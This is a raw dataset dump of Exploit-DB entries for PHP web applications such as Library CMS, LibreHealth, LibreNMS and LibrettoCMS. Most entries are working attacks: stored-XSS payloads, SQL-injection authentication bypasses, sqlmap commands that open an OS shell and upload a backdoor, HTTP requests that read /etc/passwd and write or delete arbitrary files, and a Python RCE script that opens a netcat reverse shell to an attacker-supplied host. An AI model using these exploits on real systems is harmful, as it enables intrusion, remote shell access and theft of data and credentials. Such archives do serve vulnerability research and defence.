deardaniel/secdata-raw huggingface dataset:
Exploit-DB #45616
Description: Library CMS 2.1.1 - Cross-Site Scripting
Type: webapps
Platform: php
Date: 2018-10-16
Author: Ismail Tasdelen

Exploit:
# Exploit Title: Library CMS 2.1.1 - Cross-Site Scripting
# Date: 2018-10-15
# Exploit Author: Ismail Tasdelen
# Vendor Homepage: https://kaasoft.pro/
# Software Link : https://library.kaasoft.pro/
# Software : Library CMS - Powerful Book Management System
# Version : v 2.1.1
# Vulernability Type : Cross-site Scripting
# Vulenrability : Stored XSS
# CVE : N/A

# A Stored XSS vulnerability has been discovered in KAASoft 
# Library CMS - Powerful Book Management System 2.1.1 via the /admin/book/create/ title parameter.
 
# HTTP POST Request :
 
POST /admin/book/create/ HTTP/1.1
Host: TARGET
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://TARGET/admin/book/create/
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 332
Cookie: activeLanguage=en_US; activeLanguage=en_US; _ym_uid=[PII_REDACTED]93792951; _ym_d=[PII_REDACTED]; _ym_visorc_46947615=w; _ym_isad=2; PHPSESSID=3d6jd6k6snvc2vckn15sed2k15; activeLanguage=en_US
Connection: close

%D0%9A%D1%83%D0%BF%D0%B8%D1%82%D1%8C=&title=%22%3E%3Cscript%3Ealert(%22Ismail+Tasdelen%22)%3C%2Fscript%3E&rating=&subtitle=&url=&ISBN10=&ISBN13=&edition=&publishingYear=&pages=&type=Digital&physicalForm=Book&size=Huge&binding=Hardcover&price=&language=&description=&notes=&coverId=&eBookId=&metaTitle=&metaKeywords=&metaDescription=
Exploit-DB #48374
Description: Library CMS Powerful Book Management System 2.2.0 - Session Fixation
Type: webapps
Platform: php
Date: 2020-04-23
Author: Ismail Tasdelen

Exploit:
# Exploit Title: Library CMS Powerful Book Management System 2.2.0 - Session Fixation
# Date: 2020-04-22 
# Exploit Author: Ismail Tasdelen
# Vendor Homepage: https://kaasoft.pro/
# Software : https://codecanyon.net/item/library-cms-powerful-book-management-system/21105281
# Product Version: v2.2.0
# Product : Library CMS
# Vulernability Type : Broken Authentication
# Vulenrability : Session Fixation
# CVE : N/A

# Description :

Session Fixation vulnerability has been discovered in v2.2.0
version of Library CMS Powerful Book Management System.

Admin HTTP Request :

POST /admin/login HTTP/1.1
Host: XXX.XXX.XXX.XXX
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://XXX.XXX.XXX.XXX/admin/login
Content-Type: application/x-www-form-urlencoded
Content-Length: 49
Connection: close
Cookie: activeLanguage=en_US; PHPSESSID=nfj6gk1murk6jq47lpk5cv7qq6; activeLanguage=en_US; _ym_uid=[PII_REDACTED]62269050; _ym_d=[PII_REDACTED]; _ym_visorc_46947615=w; _ym_isad=2
Upgrade-Insecure-Requests: 1

login=USERNAME&[CREDENTIAL_REDACTED]

Member HTTP Request :

POST /admin/login HTTP/1.1
Host: XXX.XXX.XXX.XXX
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://XXX.XXX.XXX.XXX/admin/login
Content-Type: application/x-www-form-urlencoded
Content-Length: 50
Connection: close
Cookie: activeLanguage=en_US; PHPSESSID=nfj6gk1murk6jq47lpk5cv7qq6; activeLanguage=en_US; _ym_uid=[PII_REDACTED]62269050; _ym_d=[PII_REDACTED]; _ym_visorc_46947615=w; _ym_isad=2
Upgrade-Insecure-Requests: 1

login=USERNAME&[CREDENTIAL_REDACTED]
Exploit-DB #49230
Description: Library Management System 2.0 - Auth Bypass SQL Injection
Type: webapps
Platform: php
Date: 2020-12-10
Author: Manish Solanki

Exploit:
# Exploit Title: Library Management System 2.0 - Auth Bypass SQL Injection
# Date: 2020-12-09
# Exploit Author: Manish Solanki
# Vendor Homepage: https://www.sourcecodester.com/php/6849/library-management-system.html
# Software Link: https://www.sourcecodester.com/download-code?nid=6849&title=Library+Management+System+in+PHP%2FMySQLi+with+Source+Code
# Version: 2.0
# Tested On: Windows 10 Pro 10.0.18363 N/A Build 18363 + XAMPP V3.2.4

#Vulnerable Page: admin page

#Exploit
Open the Application
check the URL:
http://localhost/eb_magalona_lms

Open Admin Login
Enter username: a' or 1=1--
Enter password: '

click on login
The SQL payload gets executed and authorization is bypassed successfully
Exploit-DB #49315
Description: Library Management System 3.0 - _Add Category_ Stored XSS
Type: webapps
Platform: php
Date: 2020-12-22
Author: Kislay Kumar

Exploit:
# Exploit Title:  Library Management System 3.0 - "Add Category" Stored XSS
# Exploit Author: Kislay Kumar
# Date: 2020-12-22
# Google Dork: N/A
# Vendor Homepage: https://otsglobal.org/
# Software Link: https://codecanyon.net/item/library-management-system-22/16965307
# Affected Version: 3.0
# Patched Version: Unpatched
# Category: Web Application
# Tested on: Kali Linux

Step 1. Login as Admin.

Step 2. Select "Book" from menu and select "Categories" from sub menu and
after that click on "Add Category".

Step 3. Insert payload - "><img src onerror=alert(1)> in "Category Name"

Step 4. Now  Click on "Save" , Go to "Category" and See last , there you
will get alert box.
Exploit-DB #49471
Description: Library System 1.0 - 'category' SQL Injection
Type: webapps
Platform: php
Date: 2021-01-25
Author: Aitor Herrero

Exploit:
# Exploit Title: Library System 1.0 - 'category' SQL Injection
# Exploit Author: Aitor Herrero
# Date: 2021-01-22
# Vendor Homepage: https://www.sourcecodester.com/php/12275/library-system-using-php.html
# Software Link: https://www.sourcecodester.com/php/12275/library-system-using-php.html
# Version: 1.0
# Tested On: Windows 10 + XAMPP 7.4.4
# Description: Library System 1.0

#STEP 1 : Go to the principal main
#STEP 2 : Choose a category example :http://localhost:8080/libsystem/libsystem/index.php?category=3
#STEP 3: Run your sqlmap example:
sqlmap -u "http://localhost:8080/libsystem/libsystem/index.php?category=3" --dbs
Exploit-DB #50334
Description: Library System 1.0 - 'student_id' SQL injection (Authenticated)
Type: webapps
Platform: php
Date: 2021-09-27
Author: Vinay Bhuria

Exploit:
# Exploit Title: Library System 1.0 - 'student_id' SQL injection (Authenticated)
# Google Dork: intitle: "Library System by YahooBaba"
# Date: 26/08/2021
# Exploit Author: Vinay Bhuria
# Vendor Homepage: https://www.yahoobaba.net
# Software Link: https://www.yahoobaba.net/project/library-system-in-php
# Version: v1.0
# Tested on: Windows

Description:

The Library System 1.0 application from Yahoobaba is vulnerable to
SQL injection via the 'student_id' parameter on the student.php page.

==================== 1. SQLi ====================

http://localhost:8081/library-system/student.php

The "student_id" parameter is vulnerable to SQL injection, it was also tested, and an authenticated
user has the full ability to run system commands via --os-shell and fully compromise the system

POST parameter 'student_id' is vulnerable.

step 1 : Navigate to the "Reg student >> View" & capture the request in the proxy tool.
step 2 : Now copy the post request and save it as test.txt file.
step 3 : Run the sqlmap command "sqlmap -r test.txt -p student_id --os-shell"

----------------------------------------------------------------------
Parameter: student_id (POST)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: student_id=14 AND 9655=9655

    Type: error-based
    Title: MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
    Payload: student_id=14 OR (SELECT 5735 FROM(SELECT COUNT(*),CONCAT(0x[PII_REDACTED],(SELECT (ELT(5735=5735,1))),0x716a787871,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: student_id=14 AND (SELECT 2937 FROM (SELECT(SLEEP(5)))UeMT)

    Type: UNION query
    Title: Generic UNION query (NULL) - 8 columns
    Payload: student_id=14 UNION ALL SELECT NULL,NULL,CONCAT(0x[PII_REDACTED],0x[PII_REDACTED]4c6b48736a5a72484e52794d[PII_REDACTED][PII_REDACTED][PII_REDACTED]4a[PII_REDACTED]596c,0x716a787871),NULL,NULL,NULL,NULL,NULL-- -

[14:03:50] [INFO] the backdoor has been successfully uploaded on 'C:/xampp/htdocs/' - http://localhost:8081/tmpbctla.php
[14:03:50] [INFO] calling OS shell. To quit type 'x' or 'q' and press ENTER
os-shell> whoami
do you want to retrieve the command standard output? [Y/n/a] y
command standard output: 'desktop-Vinay\vinay'
Exploit-DB #49462
Description: Library System 1.0 - Authentication Bypass
Type: webapps
Platform: php
Date: 2021-01-22
Author: Himanshu Shukla

Exploit:
# Exploit Title: Library System 1.0 - Authentication Bypass Via SQL Injection
# Exploit Author: Himanshu Shukla
# Date: 2021-01-21
# Vendor Homepage: https://www.sourcecodester.com/php/12275/library-system-using-php.html
# Software Link: https://www.sourcecodester.com/sites/default/files/download/oretnom23/libsystem.zip
# Version: 1.0
# Tested On: Windows 10 + XAMPP 7.4.4
# Description: Library System 1.0 - Authentication Bypass Via SQL Injection
#STEP 1 : Run The Exploit With This Command : python3 exploit.py
#STEP 2 : Input the URL of Vulnable Application.  For Example: http://10.9.67.23/libsystem/
#STEP 3 : Open the Link Provided At The End After Successful authentication bypass in Browser. 

#Note - You Will Only Be Able To Access The Student Area as a Privileged User.

import requests
YELLOW =  '\033[33m' # Yellow Text
GREEN =  '\033[32m' # Green Text
RED =  '\033[31m' # Red Text
RESET = '\033[m' # reset to the defaults

print(YELLOW+'      _          ______  _               _  ___           ', RESET)
print(YELLOW+'  ___| |_ ___   / / ___|| |__   __ _  __| |/ _ \__      __', RESET)
print(YELLOW+" / _ \ __/ __| / /|___ \| '_ \ / _` |/ _` | | | \ \ /\ / /", RESET)
print(YELLOW+'|  __/ || (__ / /  ___) | | | | (_| | (_| | |_| |\ V  V / ', RESET)
print(YELLOW+' \___|\__\___/_/  |____/|_| |_|\__,_|\__,_|\___/  \_/\_/  ', RESET)
print(YELLOW+" ", RESET)                                                          
print('********************************************************')
print('**                  LIBRARY SYSTEM 1.0                **')
print('**     AUTHENTICATION BYPASS USING SQL INJECTION      **')
print('********************************************************')

print('Author - Himanshu Shukla')


#Create a new session

s = requests.Session() 
  
#Set Cookie
cookies = {'PHPSESSID': 'c9ead80b7e767a1157b97d2ed1fa25b3'}

LINK=input("Enter URL of The Vulnarable Application : ")

#Authentication Bypass
print("[*]Attempting Authentication Bypass...")
values = {"student":"'or 1 or'","login":""}
r=s.post(LINK+'login.php', data=values, cookies=cookies) 

r=s.post(LINK+'login.php', data=values, cookies=cookies) 

#Check if Authentication was bypassed or not.
logged_in = True if not("Student not found" in r.text) else False
l=logged_in
if l:
	print(GREEN+"[+]Authentication Bypass Successful!", RESET)
	print(YELLOW+"[+]Open This Link To Continue As Privileged User : "+LINK+"index.php", RESET)
else:
	print(RED+"[-]Failed To Authenticate!", RESET)
Exploit-DB #50625
Description: Library System in PHP 1.0 - 'publisher name' Stored Cross-Site Scripting (XSS)
Type: webapps
Platform: php
Date: 2022-01-05
Author: Akash Patil

Exploit:
# Exploit Title: Library System in PHP 1.0 - 'publisher name' Stored Cross-Site Scripting (XSS)
# Google Dork: NA
# Date: 03-OCT-2021
# Exploit Author: Akash Rajendra Patil
# Vendor Homepage: https://www.yahoobaba.net/project/library-system-in-php
# Software Link: https://www.yahoobaba.net/project/library-system-in-php
# Version: V 1.0
# Tested on: WAMPP
# Description #

Library System in PHP V1.0 is vulnerable to stored cross site scripting because of insufficient user supplied data sanitisation.

# Proof of Concept (PoC) :
#Exploit:
1) Goto: http://localhost/library-system/dashboard.php
2) Login as admin using test credentials: admin/admin
3) Goto: http://localhost/library-system/update-publisher.php?pid=12
4) Enter the following payload in the publisher field: <script>alert(document.cookie)</script>
5) Click on Save
6) Our payload is fired and stored
Exploit-DB #45802
Description: LibreHealth 2.0.0 - (Authenticated) Arbitrary File Actions
Type: webapps
Platform: php
Date: 2018-11-06
Author: Carlos Avila

Exploit:
# Exploit Title: LibreHealth 2.0.0 - Arbitrary File Actions 
# Date: 2018-10-19
# Exploit Author: Carlos Avila
# Vendor Homepage: https://librehealth.io/
# Software Link: https://github.com/LibreHealthIO/lh-ehr
# Version: < 2.0.0
# Tested on: Debian LAMP, LibreHealth 2.0.0

# LibreHealth is the 'fork' of the OpenEMR project. I have executed these PoCs 
# based on on Bug Reported by Joshua Fam [@Insecurity]
 
# 1.Arbitrary File Read:
# In LibreHealth a user that has access to the portal patient (authenticated) can send a 
# malicious POST request to read arbitrary files.
 
POST /patients/import_template.php HTTP/1.1
Host: 192.168.6.200
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:62.0) Gecko/20100101 Firefox/62.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: LibreHealthEHR=jujkd0kvkpde70328l2v79kl90; PHPSESSID=gi8mp1e30csk5k7ji2hjo99lu4
Connection: close
Upgrade-Insecure-Requests: 1
Content-Length: 60
Content-Type: application/x-www-form-urlencoded

mode=get&docid=/etc/passwd
 
# This attack represents a file inclusion attack (LFI)
# 2.Arbitrary File Write:
# In LibreHealth a user that has access to the portal patient (authenticated) can send 
# a malicious POST request to write arbitrary files.
  
POST /patients/import_template.php HTTP/1.1
Host: 192.168.6.200
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:62.0) Gecko/20100101 Firefox/62.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: LibreHealthEHR=jujkd0kvkpde70328l2v79kl90; PHPSESSID=gi8mp1e30csk5k7ji2hjo99lu4
Connection: close
Upgrade-Insecure-Requests: 1
Content-Length: 60
Content-Type: application/x-www-form-urlencoded

mode=save&docid=payload.php&content=<?php phpinfo();?>

# When you send the attack you can browse the website where the file was written and 
# the payload.php at http://192.168.6.200/patients/payload.php
# 3. Arbitrary File Delete:
# In LibreHealth a user that has access to the portal patient (authenticated) can send a 
# malicious POST request to delete a arbitrary file.
      
POST /patients/import_template.php HTTP/1.1
Host: 192.168.6.200
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:62.0) Gecko/20100101 Firefox/62.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: LibreHealthEHR=jujkd0kvkpde70328l2v79kl90; PHPSESSID=gi8mp1e30csk5k7ji2hjo99lu4
Connection: close
Upgrade-Insecure-Requests: 1
Content-Length: 60
Content-Type: application/x-www-form-urlencoded
 
mode=delete&docid=payload.php
        
# When you make the attack you can navigate on the deleted page and you should receive 404 error (page not found)
Exploit-DB #47044
Description: LibreNMS 1.46 - 'addhost' Remote Code Execution
Type: webapps
Platform: php
Date: 2019-06-28
Author: Askar

Exploit:
#!/usr/bin/python

'''
# Exploit Title: LibreNMS v1.46 authenticated Remote Code Execution
# Date: 24/12/2018
# Exploit Author: Askar (@mohammadaskar2)
# CVE : CVE-2018-20434
# Vendor Homepage: https://www.librenms.org/
# Version: v1.46
# Tested on: Ubuntu 18.04 / PHP 7.2.10
'''

import requests
from urllib import urlencode
import sys

if len(sys.argv) != 5:
    print "[!] Usage : ./exploit.py http://www.example.com cookies rhost rport"
    sys.exit(0)

# target (user input)
target = sys.argv[1]

# cookies (user input)
raw_cookies = sys.argv[2]

# remote host to connect to
rhost = sys.argv[3]

# remote port to connect to
rport = sys.argv[4]

# hostname to use (change it if you want)
hostname = "dummydevice"

# payload to create reverse shell
payload = "'$(rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc {0} {1} >/tmp/f) #".format(rhost, rport)

# request headers
headers = {
        "Content-Type": "application/x-www-form-urlencoded",
        "User-Agent": "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:59.0) Gecko/20100101"
    }

# request cookies
cookies = {}
for cookie in raw_cookies.split(";"):
    # print cookie
    c = cookie.split("=")
    cookies[c[0]] = c[1]


def create_new_device(url):
    raw_request = {
        "hostname": hostname,
        "snmp": "on",
        "sysName": "",
        "hardware": "",
        "os": "",
        "snmpver": "v2c",
        "os_id": "",
        "port": "",
        "transport": "udp",
        "port_assoc_mode": "ifIndex",
        "community": payload,
        "authlevel": "noAuthNoPriv",
        "authname": "",
        "authpass": "",
        "cryptopass": "",
        "authalgo": "MD5",
        "cryptoalgo": "AES",
        "force_add": "on",
        "Submit": ""
    }
    full_url = url + "/addhost/"
    request_body = urlencode(raw_request)

    # send the device creation request
    request = requests.post(
        full_url, data=request_body, cookies=cookies, headers=headers
    )
    text = request.text
    if "Device added" in text:
        print "[+] Device Created Sucssfully"
        return True
    else:
        print "[-] Cannot Create Device"
        return False


def request_exploit(url):
    params = {
        "id": "capture",
        "format": "text",
        "type": "snmpwalk",
        "hostname": hostname
        }

    # send the payload call
    request = requests.get(url + "/ajax_output.php",
        params=params,
        headers=headers,
        cookies=cookies
        )
    text = request.text
    if rhost in text:
        print "[+] Done, check your nc !"


if create_new_device(target):
    request_exploit(target)
Exploit-DB #26213
Description: LibrettoCMS 2.2.2 - Arbitrary File Upload
Type: webapps
Platform: php
Date: 2013-06-14
Author: CWH Underground

Exploit:
# Exploit Title   : LibrettoCMS 2.2.2 Malicious File Upload
# Date            : 14 June 2013
# Exploit Author  : CWH Underground
# Site            : www.2600.in.th
# Vendor Homepage : http://libretto.artwebonline.com/
# Software Link   : http://jaist.dl.sourceforge.net/project/librettocms/librettoCMS_v.2.2.2.zip
# Version         : 2.2.2
# Tested on       : Window and Linux
 
  ,--^----------,--------,-----,-------^--,
  | |||||||||   `--------'     |          O .. CWH Underground Hacking Team ..
  `+---------------------------^----------|
    `\_,-------, _________________________|
      / XXXXXX /`|     /
     / XXXXXX /  `\   /
    / XXXXXX /\______(
   / XXXXXX /         
  / XXXXXX /
 (________(           
  `------'
 
 
#####################################################
DESCRIPTION
#####################################################
 
LibrettoCMS is provided a file upload function to unauthenticated users. Allows for write/read/edit/delete download arbitrary file uploaded , which results attacker might arbitrary write/read/edit/delete files and folders.

LibrettoCMS use pgrfilemanager and restrict file type for upload only doc and pdf but able to rename filetype after uploaded lead attacker to rename *.doc to *.php and arbitrary execute PHP shell on webserver.
 
#####################################################
EXPLOIT POC
#####################################################
 
1. Access http://target/librettoCMS/adm/ui/js/ckeditor/plugins/pgrfilemanager/PGRFileManager.php 
2. Upload PHP Shell with *.doc format (shell.doc) to PGRFileManager
3. Rename file from shell.doc to shell.php
4. Your renamed file will disappear !!
5. For access shell, http://target/librettoCMS/userfiles/shell.php
6. Server Compromised !!
 
################################################################################################################
 Greetz      : ZeQ3uL, JabAv0C, p3lo, Sh0ck, BAD $ectors, Snapter, Conan, Win7dos, Gdiupo, GnuKDE, JK, Retool2
################################################################################################################
Exploit-DB #3948
Description: Libstats 1.0.3 - 'template_csv.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-05-18
Author: Mehmet Ince

Exploit:
#Libstats 1.0.3 <=  Remote File Inclusion Vulnerability
#
#Vuln Code
##############################################################################################
#
#ERROR1:template_csv.php
#
#include $rInfo['content'];   <<< RFI CODE
#
#
#BUG1:
#
#Example1:http://site.com/path/template_csv.php?rInfo[content]=[[Sh3LL Script]]
#
#Script Download
##############################################################################################
#
#http://www.wendt.wisc.edu/projects/systems/libstats/releases/libstats-1.0.3.zip
#
##############################################################################################
#
#Cyber-Security <> Cyber-warrior.org
#
##############################################################################################

# milw0rm.com [2007-05-18]
Exploit-DB #29464
Description: Liens_Dynamiques 2.1 - 'AdminLien.php' Security Restriction Bypass
Type: webapps
Platform: php
Date: 2007-01-15
Author: sn0oPy

Exploit:
source: https://www.securityfocus.com/bid/22068/info

The 'liens_dynamiques' program is prone to a vulnerability that lets attackers bypass security restrictions.

An attacker can exploit this issue to gain unauthorized access to the administrative functions of the vulnerable application. Other attacks may also be possible.

Version 2.1 is vulnerable to this issue; other versions may also be affected. 

http://www.example.com/liens_dynamiques/admin/adminlien.php3
Exploit-DB #29466
Description: Liens_Dynamiques 2.1 - Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2007-01-15
Author: sn0oPy

Exploit:
source: https://www.securityfocus.com/bid/22070/info

The 'liens_dynamiques' program is prone to multiple cross-site scripting vulnerabilities because the application fails to sufficiently sanitize user-supplied input.

An attacker can exploit these issues to steal cookie-based authentication credentials and launch other attacks.

These issues affect version 2.1; other versions may also be affected. 

http://www.example.com/liens.php3?ajouter=1
Exploit-DB #30262
Description: Liesbeth Base CMS - Information Disclosure
Type: webapps
Platform: php
Date: 2007-07-02
Author: durito

Exploit:
source: https://www.securityfocus.com/bid/24749/info

Liesbeth Base CMS is prone to an information-disclosure vulnerability.

Exploiting this issue may allow an attacker to access sensitive information that may aid in further attacks. 

http://www.example.com/config.inc
Exploit-DB #49439
Description: Life Insurance Management System 1.0 - 'client_id' SQL Injection
Type: webapps
Platform: php
Date: 2021-01-18
Author: Aitor Herrero

Exploit:
# Exploit Title: Life Insurance Management System 1.0 - 'client_id' SQL Injection
# Date: 15/1/2021
# Exploit Author: Aitor Herrero
# Vendor Homepage: https://www.sourcecodester.com
# Software Link: https://www.sourcecodester.com/php/14665/life-insurance-management-system-php-full-source-code.html
# Version: 1.0
# Tested on: Windows /linux /

Login in the application

Go to clientStatus.php?client_id=

sqlmap -u "http://192.168.0.108:8080/lims/clientStatus.php?client_id=[PII_REDACTED]'%20and%20sleep(20)%20and%20'1'='1
<http://192.168.0.108:8080/lims/clientStatus.php?client_id=[PII_REDACTED]%27%20and%20sleep(20)%20and%20%271%27=%271>"